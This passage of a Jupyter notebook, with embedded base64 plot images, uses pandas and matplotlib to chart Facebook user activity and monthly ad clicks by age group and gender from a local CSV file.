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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB17.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "z = list(df.iloc[:, 2])\n", + "a = list(df.iloc[:, 3])\n", + "b = list(df.iloc[:, 4])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,10))\n", + "width = 0.2\n", + "\n", + "# Plotting\n", + "plt.figure(figsize=(20,10))\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='Female users 30-day median', color='r')\n", + "plt.bar(ind + width, z, width, label='Female users’ 30-day median',color='b')\n", + "plt.bar(ind + 2*width,a, width, label='Male users’ 30-day median',color='g')\n", + "plt.bar(ind + 3*width,b, width, label='Male users’ 30-day median',color='m')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Age\")\n", + "plt.ylabel(\"30-day median\")\n", + "plt.title(\"Facebook user activity by age and gender*\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook monthly ad clicks by age and gender" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Age Female Male\n", + "0 18-24 10 8\n", + "1 25-34 13 9\n", + "2 35-44 18 12\n", + "3 45-54 19 11\n", + "4 55-64 19 11\n", + "5 65+ 14 9\n" + ] + }, + { + "data": { + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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